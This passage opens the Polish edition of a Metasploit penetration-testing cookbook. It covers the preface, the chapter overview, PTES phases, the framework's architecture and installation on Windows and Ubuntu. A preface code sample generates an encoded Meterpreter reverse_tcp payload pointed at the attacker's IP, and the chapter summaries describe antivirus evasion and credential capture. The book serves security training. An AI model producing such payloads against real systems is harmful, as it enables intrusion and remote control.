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    Przedmowa


    Witamy w drugim wydaniu książki Metasploit. Receptury pentestera. W tej książce opisane zostały różne receptury przeprowadzania testów penetracyjnych różnych platform (w tym sieci bezprzewodowych oraz VoIP) za pomocą systemu BackTrack 5 R3. Książka rozpoczyna się od podstaw dotyczących zbierania informacji, a w każdym kolejnym rozdziale omawiane są coraz bardziej zaawansowane tematy, takie jak budowanie własnych skryptów i modułów frameworku Metasploit.


    Książka objaśnia szczegółowo różne techniki wykonywania testów penetracyjnych systemów operacyjnych, a następnie zajmuje się metodologiami eksploatacji programów klienckich w punktach końcowych sieci. Omówione zostały też różne kwestie związane z fazą poeksploatacyjną testów penetracyjnych, takie jak korzystanie z Meterpretera, omijanie ochrony antywirusowej, wykorzystywanie zalet programowania w języku Ruby, budowanie exploitów, importowanie exploitów do frameworku, testy penetracyjne sieci VoIP i sieci bezprzewodowych itd. Ta książka pomoże Ci zacząć myśleć z perspektywy hakera, który poszukuje luk i błędów w sieciach docelowych. Nauczysz się wykorzystywać możliwości frameworku Metasploit do łamania zabezpieczeń tych sieci i podniesiesz swoje umiejętności z zakresu przeprowadzania testów penetracyjnych. Znajdziesz tu opis zaawansowanych zastosowań Meterpretera, takich jak personifikacja tokenów, wykorzystywanie bibliotek WinAPI, zastosowanie techniki ESPIA, ataki Incognito, zdalne wstrzykiwanie serwera VNC, eksploatacja podatnych na ataki aplikacji PHP i wiele więcej.


    Z tej książki dowiesz się, jak skonfigurować kompletne środowisko do testów penetracyjnych za pomocą frameworku Metasploit i maszyn wirtualnych, jak budować skrypty Meterpretera w języku Ruby i je analizować oraz jak przeprowadzać testy penetracyjne sieci VoIP i WLAN, począwszy od fazy zbierania informacji, poprzez ocenę podatności na ataki, eksploatację, aż do fazy poszerzania uprawnień użytkownika. Zapoznasz się z technikami eksploatacji typu client-side oraz ze szczegółową analizą luk w zabezpieczeniach i kodów.


    Jaka jest zawartość tej książki


    Rozdział 1., „Metasploit — szybkie porady dla profesjonalistów z branży zabezpieczeń”, zawiera szybkie receptury, takie jak „Konfiguracja Metasploit w systemie Windows”, „Konfiguracja Metasploit w systemie Ubuntu”, „Instalowanie Metasploit z systemem BackTrack 5 R3”, „Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware”, „Konfiguracja Metasploit na maszynie wirtualnej z połączeniem SSH”, „Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3”, „Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych” oraz „Korzystanie z frameworku BBQSQL”.


    Rozdział 2., „Zbieranie informacji oraz skanowanie”, opisuje dodatkowo w stosunku do pierwszego wydania książki skanowanie portów w środowisku rozproszonym. Objaśnionych zostało w nim również kilka innych technik skanowania, takich jak skanowanie SMB, SSH, FTP oraz zamiatanie SNMP.


    Rozdział 3., „Ocena podatności na ataki na podstawie systemu operacyjnego”, koncentruje się na szybkich wskazówkach dotyczących zastosowania exploitów wobec takich systemów operacyjnych jak Windows XP, Ubuntu oraz fascynujący Windows 8. Zajmuje się także kwestią wstrzykiwania bibliotek DLL w systemie Windows.


    Rozdział 4., „Eksploatacja typu client-side oraz omijanie ochrony antywirusowej”, omawia najnowsze luki w zabezpieczeniach aplikacji Internet Explorer, Adobe Flash Player oraz Microsoft Word. Opisuje również zastosowanie narzędzia strzykawki, które zapewnia mniejszy współczynnik wykrycia niż ładunki zakodowane za pomocą narzędzia msfencode, które są wykrywane przez programy antywirusowe.


    Rozdział 5., „Praca z modułami podczas testów penetracyjnych”, został poświęcony podstawowym zagadnieniom dotyczącym pracy z modułami podczas przeprowadzania testów penetracyjnych. Znajdziesz w nim receptury takie jak „Praca z modułami pomocniczymi skanera”, „Praca z administracyjnymi modułami pomocniczymi”, „Moduły wstrzyknięcia zapytania SQL oraz ataku DoS”, „Moduły fazy poeksploatacyjnej”, „Podstawy budowy modułu”, „Analiza gotowego modułu” oraz „Budowanie własnego modułu fazy poeksploatacyjnej”.


    Rozdział 6., „Exploity”, opisuje przekształcanie exploita w moduł oraz tworzenie własnego modułu fuzzera.


    Rozdział 7., „Testy penetracyjne w sieci VoIP”, zawiera szczegółowe opracowanie procesu przeprowadzania testów penetracyjnych sieci VoIP wraz z topologią tych sieci. Omówiono w nim krok po kroku kwestie eksploatacji z wykorzystaniem przeskakiwania VLAN-ów, podszywania się pod adresy MAC, podszywania się pod inną osobę oraz wykonywanie ataków typu DoS.


    Rozdział 8., „Testy penetracyjne sieci bezprzewodowej”, oferuje takie receptury jak „Konfigurowanie i uruchamianie narzędzia Fern WiFi Cracker”, „Monitorowanie interfejsów sieciowych za pomocą narzędzia tcpdump”, „Łamanie zabezpieczeń szyfrowania WEP oraz WPA za pomocą aplikacji Fern Wi-Fi Cracker”, „Przechwytywanie sesji przy użyciu adresu MAC”, „Określanie geolokalizacji celu”, „Technika wardrivingu”, „Atak typu zły bliźniak” oraz „Konfiguracja Karmetasploit”.


    Rozdział 9., „Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit”, objaśnia wykorzystanie socjotechniki, która polega na manipulowaniu ludźmi, aby wykonywali czynności przez nich niezamierzone. Scenariusz opartego na technologii cyfrowej ataku socjotechnicznego jest skonstruowany w taki sposób, aby złapać użytkownika w pułapkę wykonywania czynności, które mogą prowadzić do ujawnienia poufnych informacji lub przeprowadzenia szkodliwych działań. Pakiet SET jest ogólnym exploitem ludzkiej natury, który łamie zabezpieczenia świadomości użytkownika i działa analogicznie do exploitów wykorzystujących luki w zabezpieczeniach oprogramowania i systemów operacyjnych.


    Rozdział 10., „Korzystanie z Meterpretera”, omawia polecenia wykorzystywane w pracy z Meterpreterem. Pokazuje, jak wykorzystać Meterpreter do śledzenia ruchu na zdalnych maszynach oraz przechwytywania nazw użytkowników i haseł. Ponadto koncentruje się na takich zagadnieniach jak personifikacja tokenów, wykorzystanie bibliotek WinAPI, technika ESPIA, atak Incognito, zdalne wstrzykiwanie serwera VNC oraz eksploatacja podatnych na ataki aplikacji PHP.


    Dodatek „Testy penetracyjne w chmurze” został poświęcony chmurze obliczeniowej, która przypomina obliczenia rozproszone w sieci i umożliwia uruchamianie programu jednocześnie na wielu połączonych maszynach. Objaśniono w nim proces przeprowadzania testów penetracyjnych i omówiono, w jaki sposób można do tego celu wykorzystać serwis hackaserver.com.


    Czego potrzebujesz do pracy z tą książką


    Aby wykonać różne receptury opisane w tej książce, będziesz potrzebował następujących elementów:


    
      	Maszyna do przeprowadzania ataków: BackTrack 5 R3.


      	Maszyna atakowana: Windows XP (SP2/SP3), Windows 7, Windows 8 lub Ubuntu.


      	Oprogramowanie: prawie całe oprogramowanie wymienione w tej książce jest dostępne domyślnie w systemie BackTrack 5 R3. Na wszelki wypadek w odpowiednich sekcjach książki zamieszczone zostały linki do pobrania pakietów instalacyjnych wymaganych aplikacji.

    


    Dla kogo przeznaczona jest ta książka


    Ta książka skierowana jest zarówno do profesjonalnych pentesterów, jak i początkujących użytkowników platformy Metasploit, chcących osiągnąć biegłość w korzystaniu z tego frameworku oraz nabyć umiejętności przeprowadzania testów penetracyjnych, które nie są ograniczone do konkretnego systemu operacyjnego. Lektura książki wymaga podstawowej wiedzy na temat skanowania, eksploatacji oraz języka Ruby.


    Konwencje stosowane w tej książce


    Nazwy folderów, nazwy plików, rozszerzenia plików, nazwy ścieżek, adresy URL, nazwy opcji, nazwy okien programów oraz nazwy przycisków zapisywane są czcionką pochyloną.


    Polecenia i fragmenty kodu występujące w tekście zapisywane są czcionką o stałej szerokości znaków. Polecenia, które bezpośrednio ma wprowadzić użytkownik, są w tekście zaznaczane pogrubioną czcionką o stałej szerokości znaków. Pochylona czcionka o stałej szerokości znaków jest stosowana w poleceniach do zaznaczania argumentów, pod które należy samodzielnie podstawić określone wartości.


    Bloki kodu i listingi zaznaczane są w sposób następujący:

    export interface=eth0export ourIP=$(ifconfig $interface | awk '/inet addr/{split ($2,A,":"); print A[2]}')export port=$(shuf -i 2000-65000 -n 1) 

    echo -e "\e[01;32m[>]\e[00m Generating payload..."payload=$(msfpayloadwindows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=$port LHOST=$ourIP R |msfencode -a x86 –e x86/alpha_mixed -t raw BufferRegister=EAX)


    Dla nowych terminów i istotnych pojęć stosowana jest czcionka pogrubiona.


    
      Ostrzeżenia i istotne uwagi.

    


    
      Wskazówki i podpowiedzi.

    


    Pobieranie przykładów kodu


    Pliki z przykładami kodu zamieszczonymi w tej książce można pobrać ze strony http://www. helion.pl/ksiazki/metarp.htm.


    Errata


    Chociaż podjęliśmy wszelkie starania w celu zapewnienia poprawności zawartości książki, błędy się zdarzają. Jeśli znajdziesz jakiś błąd (np. w tekście lub kodzie) w którejś z naszych książek, będziemy wdzięczni, jeśli nam go zgłosisz. W ten sposób oszczędzisz pozostałym czytelnikom frustracji i pomożesz nam poprawić kolejne wydanie książki. Zgłoszenia do erraty książek można dokonywać na stronie http://helion.pl/user/erraty/. Po zweryfikowaniu i zaakceptowaniu zgłoszenia errata zostanie umieszczona do pobrania na stronie wydawnictwa w sekcji Erraty książek — http://helion.pl/erraty.htm.


    Naruszenie praw autorskich


    Nielegalne kopiowanie materiałów i zamieszczanie ich w internecie jest nieustającym problemem wszystkich mediów. W wydawnictwie Helion podchodzimy do kwestii praw autorskich i licencji bardzo poważnie. Jeśli napotkasz nielegalne kopie naszych publikacji występujące w dowolnej formie w internecie, poinformuj nas o tym i wskaż adres strony z taką zawartością, abyśmy mogli podjąć odpowiednie kroki.


    Naruszenie praw autorskich możesz zgłosić na stronie http://helion.pl/piracy.phtml w sekcji Zgłoś naruszenie praw autorskich.


    Będziemy wdzięczni za pomoc w ochronie praw naszych autorów i wspieranie naszych wysiłków mających na celu dostarczenie Ci wartościowych treści.


     


     


     

  


  
    Rozdział 1. Metasploit — szybkie porady dla profesjonalistów z branży zabezpieczeń


    W tym rozdziale:


    
      	Konfiguracja Metasploit w systemie Windows


      	Konfiguracja Metasploit w systemie Ubuntu


      	Instalowanie Metasploit z systemem BackTrack 5 R3


      	Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware


      	Konfiguracja Metasploit na maszynie wirtualnej z połączeniem SSH


      	Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3


      	Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych


      	Korzystanie z frameworku BBQSQL

    


    Wprowadzenie


    „Metasploit” to obecnie najgłośniejsze słowo w dziedzinie bezpieczeństwa informacji i testów penetracyjnych. Framework ten całkowicie zrewolucjonizował sposób przeprowadzania testów bezpieczeństwa systemów. Na jego popularność wpływa szeroki zakres funkcji ułatwiających przeprowadzanie testów penetracyjnych, które służą poprawieniu bezpieczeństwa systemów. Metasploit jest dostępny dla wszystkich popularnych systemów operacyjnych. Działanie frameworku jest prawie identyczne na wszystkich z nich. W tej książce najczęściej będziemy posługiwać się systemem operacyjnym BackTrack 5, który posiada preinstalowany framework Metasploit oraz zewnętrzne narzędzia z nim współpracujące.


    Standard przeprowadzania testów penetracyjnych, czyli PTES (ang. Penetration Testing Execution Standard), zdefiniował na nowo testy penetracyjne w sposób, który wpłynie zarówno na początkujących, jak i doświadczonych pentesterów. Standard ten jest wykorzystywany przez wielu czołowych członków społeczności branży zabezpieczeń.


    Fazy PTES zostały zaprojektowane w celu opisania testu penetracyjnego oraz zapewniania klientów, że podczas przeprowadzania każdego testu podejmowane będą ustandaryzowane działania. Standard podzielony jest na siedem kategorii, do których należą:


    
      	Czynności wstępne (ang. pre-engagement interactions). Zasadniczo czynności te mają miejsce podczas omawiania z klientem zakresu i warunków testu penetracyjnego, który ma zostać wykonany. Podczas tej fazy niezmiernie istotne jest jasne omówienie celów podejmowanych działań. Jest to również okazja do pouczenia klienta o tym, czego powinien się spodziewać po przeprowadzanych testach penetracyjnych, które nie będą ograniczone pod względem tego, co może być i co będzie testowane w ich trakcie.


      	Zbieranie informacji (ang. intelligence gathering). W tej fazie zbierane są wszelkie dostępne informacje na temat atakowanego celu. Wykorzystywane są do tego portale społecznościowe, Google hacking, footprinting celu itd. Jedną z najistotniejszych umiejętności, które może nabyć pentester, jest zdolność poznawania celu, w tym sposobu jego zachowania się, jego działania oraz ostatecznie znalezienie sposobu na przeprowadzenie ataku. Zebrane informacje o celu dadzą Ci wgląd w stosowane w danej organizacji rodzaje kontroli bezpieczeństwa. Podczas zbierania informacji próbujesz określić, jakie mechanizmy zabezpieczeń są stosowane przez cel, badając jego systemy. Organizacje np. dopuszczają zazwyczaj ruch sieciowy na określonych podzbiorach portów na udostępnianych zewnętrznie urządzeniach. Jeśli więc ktoś będzie kwerendował porty nieznajdujące się na liście portów udostępnionych, zostanie zablokowany. Zasadniczo dobrym pomysłem jest przetestowanie takiego blokowania poprzez wykonanie wstępnych testów z adresu IP, który jesteś w stanie poświęcić, ponieważ może on zostać zablokowany lub wykryty. To samo dotyczy testowania aplikacji sieciowych, w których firewall po przekroczeniu określonego progu zablokuje Twoje kolejne żądania.


      	Modelowanie zagrożeń (ang. threat modeling). Na tym etapie informacje zebrane w poprzedniej fazie są wykorzystywane do określenia znanych luk w zabezpieczeniach w systemie docelowym. Podczas modelowania zagrożeń określisz najbardziej efektywne metody ataku, rodzaj żądanych informacji oraz sposób, w jaki można się włamać do danej organizacji. Modelowanie zagrożeń często zakłada obserwowanie organizacji z pozycji przeciwnika i próbę wykorzystania jej słabości w sposób, w jaki uczyniłaby to osoba przeprowadzająca rzeczywisty atak.


      	Analiza luk w zabezpieczeniach (ang. vulnerability analysis). Znając najbardziej realne metody ataku, możemy skoncentrować się na uzyskaniu dostępu do maszyny docelowej. Podczas przeprowadzania analizy luk w zabezpieczeniach należy zebrać informacje pozyskane we wcześniejszych fazach i wykorzystać je do określenia, jakie ataki mogą przynieść najwięcej korzyści. Poza innymi elementami, analiza luk w zabezpieczeniach bierze pod uwagę rezultaty skanowania portów i luk w zabezpieczeniach, dane zgromadzone za pomocą techniki przechwytywania banerów (ang. banner grabbing) oraz pozyskane w fazie zbierania informacji.


      	Eksploatacja (ang. exploitation). Jest to prawdopodobnie jedna z najbardziej fascynujących faz testu penetracyjnego, choć często przeprowadzana z wykorzystaniem brutalnej siły zamiast precyzji. Exploity powinny być stosowane tylko wtedy, kiedy atakujący ma prawie stuprocentową pewność, że konkretny exploit się sprawdzi. Oczywiście, może się okazać, że cel ataku stosuje nieprzewidziane środki ochronne, które mogą sprawić, że dany exploit nie zadziała. Zanim jednak spróbujesz wykorzystać lukę w zabezpieczeniach, musisz upewnić się, że system będący celem jest podatny na ataki. Uruchamianie na ślepo wielu exploitów i modlenie się o uzyskanie dostępu do powłoki nie jest produktywne.


      	Faza poeksploatacyjna (ang. post exploitation). Rozpoczyna się w momencie, kiedy udało Ci się złamać zabezpieczenia jednego lub kilku systemów, ale nie zbliżyłeś się nawet jeszcze do wykonania swojego zadania w pełni. Faza poeksploatacyjna jest kluczowym elementem każdego testu penetracyjnego. W tym momencie rozstrzyga się, czy jesteś średnim, przeciętnym hackerem, czy też jesteś w stanie na podstawie testu dostarczyć cennych informacji i wiedzy. W tej fazie odbywa się namierzanie konkretnych systemów, identyfikowanie kluczowych struktur oraz wyszukiwanie informacji lub danych, które są najbardziej cenne dla danego przedsiębiorstwa i mają być chronione. Kiedy eksploatujesz jedną maszynę po drugiej, starasz się zademonstrować ataki, które będą miały największy wpływ na przedsiębiorstwo. Przeprowadzanie ataków na systemy w fazie poeksploatacyjnej może wymagać poświęcenia nieco czasu, w zależności od danego systemu i funkcji jego użytkownika.

    


    Przejdźmy teraz do krótkiego wprowadzenia do frameworku Metasploit i związanych z nim różnych technologii:


    
      	Framework Metasploit to darmowe oprogramowanie na licencji open source, służące do przeprowadzania testów penetracyjnych. Metasploit został stworzony w 2003 r. przez H. D. Moore’a, a później przejęty przez firmę Rapid7. Bieżące stabilne wersje frameworku są pisane w języku Ruby. Metasploit posiada największą na świecie bazę danych przetestowanych exploitów i ma ponad milion pobrań co roku. Jest to również obecnie najbardziej złożony projekt wykorzystujący język Ruby.


      	Luka w zabezpieczeniach (ang. vulnerability) to słabość, która umożliwia osobie atakującej lub pentesterowi włamanie się do systemu albo złamanie jego zabezpieczeń. Może być to słabość systemu operacyjnego, zainstalowanych aplikacji lub nawet stosowanych protokołów sieciowych.


      	Exploit to kod, który umożliwia osobie atakującej lub pentesterowi wykorzystanie podatnego na ataki systemu i złamanie jego zabezpieczeń. Każda luka w zabezpieczeniach ma własny odpowiedni exploit. Metasploit v4 posiada ponad 700 exploitów.


      	Ładunek (ang. payload) to faktyczny kod wykonujący całe zadanie. Uruchamiany jest w systemie po jego eksploatacji. Ładunki przeważnie wykorzystywane są do ustanowienia połączenia pomiędzy maszynami atakującego i ofiary. Metasploit v4 posiada ponad 250 ładunków.


      	Moduły to niewielkie elementy konstrukcyjne kompletnego systemu. Każdy moduł wykonuje określone zadanie, a kompletny system jest zbudowany z kilku modułów, które funkcjonują jako pojedyncza jednostka. Największą zaletą takiej architektury jest łatwość, z jaką programiści mogą integrować z frameworkiem nowe kody eksploitów oraz narzędzia.

    


    Metasploit ma architekturę modułową, a exploity, ładunki, kodery i inne elementy są traktowane jako osobne moduły.
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    Przyjrzyjmy się bliżej architekturze przedstawionej na rysunku powyżej.


    Metasploit wykorzystuje różne biblioteki, które są kluczem do właściwego funkcjonowania całego frameworku. Te biblioteki są zbiorem predefiniowanych zadań, operacji i funkcji, które mogą być wykorzystane przez różne moduły frameworku. Najbardziej podstawową częścią frameworku jest biblioteka Ruby Extension (Rex). Biblioteka Rex dostarcza m.in. takich komponentów, jak podsystem gniazda klasy opakowującej (ang. wrapper socket), implementacje protokołów klientów i serwerów, podsystem rejestrowania zdarzeń, klasy narzędziowe eksploatacji oraz wiele innych użytecznych klas. Biblioteka ta nie posiada żadnych innych zależności niż te związane z domyślną instalacją języka Ruby.


    Kolejna jest biblioteka rdzeniowa MSF Core, która rozszerza bibliotekę Rex. Biblioteka rdzeniowa jest odpowiedzialna za implementację wszystkich wymaganych interfejsów, które umożliwiają interakcje z modułami exploitów, sesjami oraz wtyczkami. MSF Core jest rozszerzane przez bibliotekę bazową MSF Base, która została zaprojektowana w celu zapewnienia prostszych procedur klas opakowujących dla obsługi rdzenia frameworku. MSF Base zapewnia również klasy narzędziowe dla różnych aspektów frameworku, takich jak serializowanie stanu modułu do różnych formatów wyjściowych. Biblioteka bazowa jest rozszerzana przez interfejs użytkownika (ang. user interface — UI) frameworku, który implementuje różne typy interfejsów użytkownika dla obsługi samego frameworku, takie jak konsola poleceń oraz interfejs WWW.


    Framework Metasploit oferuje cztery osobne interfejsy: msfconsole, msfcli, msfgui oraz msfweb. Powinieneś zapoznać się ze wszystkimi tymi interfejsami, jednak w tej książce będziemy głównie korzystać z interfejsu msfconsole, ponieważ zapewnia on najlepszą obsługę frameworku, wykorzystując wszystkie jego funkcjonalności.


    Interfejs msfconsole nie bez powodu jest jak dotąd najszerzej omówionym elementem Metasploit. Jest to najbardziej plastyczne, obsługujące wiele znaków i posiadające szerokie wsparcie narzędzie tego frameworku. Zapewnia ono poręczny interfejs typu „wszystko w jednym” dla wszystkich dokonywanych wyborów i dostępnych ustawień w Metasploit — to jak jedno okienko, którym zrealizujesz wszystkie marzenia pentestera. Konsolę msfconsole możesz wykorzystać do czegokolwiek, w tym do uruchamiania exploitów, ładowania modułów pomocniczych, wykonywania enumeracji, tworzenia nasłuchiwaczy lub przeprowadzania masowej eksploatacji dla całej sieci.


    Interfejsy msfcli oraz msfconsole reprezentują bardzo odmienne podejście w kwestii zapewniania dostępu do frameworku. W przeciwieństwie do konsoli msfconsole, która zapewnia dostęp do wszystkich usług w sposób przyjazny dla użytkownika, interfejs msfcli kładzie nacisk na stosowanie skryptów oraz interpretacyjność w połączeniu z narzędziami opartymi na konsoli. Nie zapewnia on indywidualnego interpretera dla frameworku, ale działa bezpośrednio z wiersza poleceń, co umożliwia zaimportowanie do msfcli danych wynikowych z innych narzędzi wiersza poleceń oraz wyeksportowanie do nich danych wynikowych z msfcli. Ponadto msfcli również obsługuje uruchamianie exploitów oraz modułów pomocniczych i może być bardziej poręczne przy testowaniu nowych modułów i exploitów.


    Interfejs msfgui frameworku Metasploit to całkowicie interaktywny interfejs graficzny użytkownika (ang. graphical user interface — GUI), który został stworzony przez Raphaela Mudge’a. Interfejs ten jest bardzo czuły, bogaty w funkcje i można z niego korzystać bezpłatnie.


    Przejdźmy teraz do receptur tego rozdziału i przeanalizujmy w praktyce różne aspekty.


    Konfiguracja Metasploit w systemie Windows


    Instalacja frameworku Metasploit w systemie Windows jest prosta i nie wymaga prawie żadnego wysiłku. Plik instalacyjny można pobrać z oficjalnej strony WWW projektu Metasploit (http://www.metasploit.com/download). W tej recepturze nauczysz się, jak skonfigurować Metasploit w systemie operacyjnym Windows.


    Przygotuj się


    Jak pewnie zauważyłeś, dla systemów Windows dostępne są dwie wersje pliku instalacyjnego. Zalecane jest pobranie całego pakietu instalacyjnego frameworku Metasploit, który zawiera konsolę oraz wszystkie pozostałe odpowiednie zależności, w tym bazę danych oraz konfigurację środowiska uruchomieniowego. Jeśli masz już skonfigurowaną bazę danych, którą chcesz wykorzystać również dla tego frameworku, możesz skorzystać z miniinstalatora, który instaluje tylko konsolę i zależności.


    Jak to wykonać


    Po pobraniu instalatora po prostu uruchom go i czekaj. Automatycznie zainstalowane zostaną wszystkie istotne komponenty oraz skonfigurowana zostanie baza danych. Kiedy instalacja się zakończy, będziesz mógł uzyskać dostęp do frameworku za pomocą różnych skrótów utworzonych przez instalator.


    Jak to działa


    Jak zauważysz, instalator utworzy dla Ciebie wiele skrótów. W środowisku Windows większość komponentów uruchamianych jest za pomocą prostego kliknięcia. Znajdziesz m.in. takie opcje, jak Access Metasploit Web UI (dostęp do interfejsu WWW), Metasploit Console (konsola), Framework Update (aktualizacja) itd.


    
      Podczas instalacji Metasploit w systemie Windows należy wyłączyć ochronę antywirusową, ponieważ może ona potraktować niektóre pliki instalacyjne jako potencjalne wirusy lub zagrożenia i zablokować proces instalacji. Po zakończeniu instalacji upewnij się, że dodałeś w programie antywirusowym wyjątek dla katalogu instalacyjnego frameworku, ponieważ w przeciwnym razie exploity i ładunki zostaną wykryte jako złośliwe oprogramowanie.

    


    Zobacz również


    Omówimy teraz niektóre inne opcje lub wskażemy pewne ogólne informacje, które mogą być istotne przy instalacji frameworku Metasploit w systemie Windows.


    Błędy bazy danych podczas instalacji


    Wielu użytkowników ma dość powszechny problem podczas instalacji frameworku Metasploit na maszynach z systemem Windows. W jej trakcie może wystąpić błąd, co zostało pokazane na rysunku:
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    Jest to spowodowane błędem w konfiguracji serwera PostgreSQL. Możliwe przyczyny to:


    
      	Serwer PostgreSQL nie został uruchomiony. Użyj polecenia netstat, aby sprawdzić, czy odpowiedni port jest otwarty, a baza danych uruchomiona.


      	Niektóre instalatory wymagają domyślnej ścieżki instalacji. Jeśli ścieżką domyślną jest np. dysk C, jej zmiana na dysk D spowoduje powstanie błędu.


      	Kodowanie języka. Jeśli napotkasz ten problem, możesz pobrać prostszą wersję frameworku, która zawiera tylko konsolę i zależności. W takim przypadku musisz ręcznie skonfigurować bazę danych i połączyć ją z Metasploit.

    


    Konfiguracja Metasploit w systemie Ubuntu


    Framework Metasploit oferuje pełną obsługę systemów operacyjnych Linux Ubuntu. W tej recepturze omówimy proces instalacji, który jest nieco odmienny niż w systemie Windows.


    Przygotuj się


    Pobierz plik instalacyjny z oficjalnej strony WWW projektu Metasploit (http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run).


    Jak to wykonać


    Proces instalacji przebiega w sposób opisany poniżej.


    Aby zainstalować framework Metasploit na maszynie Ubuntu, należy wykonać następujące polecenia:

    chmod +x metasploit-latest-linux-x64-installer.run

    ./metasploit-latest-linux-x64-installer.run


    Najpierw wyświetlone zostaną warunki licencyjne, a w kolejnych oknach będą pojawiały się następujące informacje i zapytania:

    Do you accept this license? [y/n]: y

    //Czy akceptujesz warunki licencji? [tak/nie]

    Select a folder [/opt/metasploit]:

    //Wybierz folder [/opt/metasploit]

    Install Metasploit as a service? [Y/n]:

    //Czy zainstalować Metasploit jako usługę? [tak/nie]

    Service script name: [metasploit]:

    //Nazwa skryptu usługi [metasploit]

    SSL Port [3790]:

    //Port SSL [3790]

    Server Name [metasploit.mydomain.com]:

    //Nazwa serwera [metasploit.mydomain.com]

    Days of validity [3650]:

    //Liczba dni ważności [3650]

    Database Server port [7337]:

    //Port serwera bazy danych [7337]

    Setup is now ready to begin installing Metasploit on your computer.

    //Instalator jest gotowy do rozpoczęcia procesu instalacji Metasploit na Twoim komputerze.

    Do you want to continue? [Y/n]:

    //Chcesz kontynuować? [tak/nie]

    ----------------------------------------------------------------------------

    Please wait while Setup installs Metasploit on your computer.

    //Trwa proces instalacji Metasploit na Twoim komputerze, proszę czekać.

     

    Installing

    //Instalowanie

    0% ______________ 50% ______________ 100%

     

    Setup has finished installing Metasploit on your computer.

    //Instalator zakończył instalowanie Metasploit na Twoim komputerze.

     

    Info: To access Metasploit, go to https://localhost:3790 from your browser.

    //Aby uzyskać dostęp do Metasploit, wpisz w przeglądarce adres https://localhost:3790.

    Press [Enter] to continue

    //Wciśnij [Enter], aby kontynuować.


    
      Przykłady kodu wykorzystanego w tej książce możesz pobrać ze strony wydawnictwa Helion, http://www.helion.pl/ksiazki/metarp.htm.

    


    Zobacz również


    Omówimy teraz niektóre inne opcje lub wskażemy pewne ogólne informacje, które mogą być istotne przy wykonywaniu tego zadania.


    Klonowanie frameworku Metasploit


    Istnieje możliwość sklonowania frameworku Metasploit ze strony GitHub za pomocą następującego polecenia:

    $ git clone git://github.com/rapid7/metasploit-framework.git /opt/metasploit/msf3


    
      Klonowanie frameworku Metasploit ze strony GitHub da Ci niewątpliwie możliwość korzystania z niego. Nie zostaną jednak zainstalowane wymagane zależności, nie zostanie skonfigurowana baza danych i nie uzyskasz dostępu do internetowego serwisu społeczności Metasploit.

    


    Błędy podczas instalacji


    Po zainstalowaniu pełnego pakietu Metasploit wszystko wydaje się gotowe. Jeśli jednak wpiszesz w przeglądarce adres https://localhost:3790, otrzymasz następujący błąd:

    Looking up localhost:3790                 //Wyszukiwanie localhost:3790

    Making HTTPS connection to localhost:3790 //Nawiązywanie połączenia HTTPS z localhost:3790

    Alert!: Unable to connect to remote host. //Uwaga! Nie można połączyć się ze zdalnym                                                                                      hostem.


    Nawet jeśli zastosujesz polecenie createuser, otrzymasz następujący rezultat:

    ./createuser

    /opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activesupport-3.2.11/l ib/active_support/dependencies.rb:251:in 'require': /usr/lib/libxml2.so.2: version 'LIBXML2_2.9.0' not found (required by /opt/metasploit/common/lib/libxslt.so.1) - /opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/nokogiri-1.5.2/lib/no kogiri/nokogiri.so (LoadError)

        from /opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activesupport-3.2.11/ lib/active_support/dependencies.rb:251:in 'block in require'

        from /opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activesupport-3.2.11/ lib/active_support/dependencies.rb:236:in 'load_dependency'

        from /opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activesupport-3.2.11/ lib/active_support/dependencies.rb:251:in 'require'

        from /opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/nokogiri-1.5.2/lib/no kogiri.rb:27:in '<top (required)>'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler/runtime .rb:68:in 'require'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler/runtime .rb:68:in 'block (2 levels) in require'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler/runtime .rb:66:in 'each'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler/runtime .rb:66:in 'block in require'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler/runtime .rb:55:in 'each'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler/runtime .rb:55:in 'require'

        from /opt/metasploit/ruby/lib/ruby/gems/1.9.1/gems/bundler-1.1.2/lib/bundler.rb:119: in 'require'

        from /opt/metasploit/apps/pro/ui/script/createuser:14:in '<main>'


    Aby pozbyć się tego problemu, przejdź do strony pobierania frameworku Metasploit 4.5.2, ponieważ w tej wersji problem został rozwiązany. Pobierz framework ponownie i zastosuj opcję --version, aby upewnić się, że pobrałeś najnowszą wersję.


    Instalowanie Metasploit z systemem BackTrack 5 R3


    BackTrack jest najbardziej popularnym systemem wśród specjalistów od zabezpieczeń z dwóch powodów. Po pierwsze, posiada preinstalowane wszystkie popularne narzędzia do przeprowadzania testów penetracyjnych, co oszczędza czas wymagany na osobne instalacje. Po drugie, jest to system operacyjny oparty na Linuksie, co sprawia, że jest mniej podatny na ataki wirusów i zapewnia większą stabilność podczas testów penetracyjnych. Pozwala oszczędzić czas niezbędny na zainstalowanie wszystkich istotnych komponentów i narzędzi, a może się przecież zdarzyć, że podczas procesu instalacji napotkasz nieznane błędy. Przejdźmy więc do instalacji systemu BackTrack 5 R3.


    Przygotuj się


    Z systemu BackTrack możesz korzystać, posiadając jego osobną instalację na dysku twardym, lub zainstalować go jako maszynę wirtualną na komputerze hosta. Proces instalacji jest prosty i nie różni się od instalowania innych systemów operacyjnych opartych na Linuksie.


    Jak to wykonać


    Opisane poniżej czynności ilustrują cały proces instalowania systemu BackTrack 5 R3.


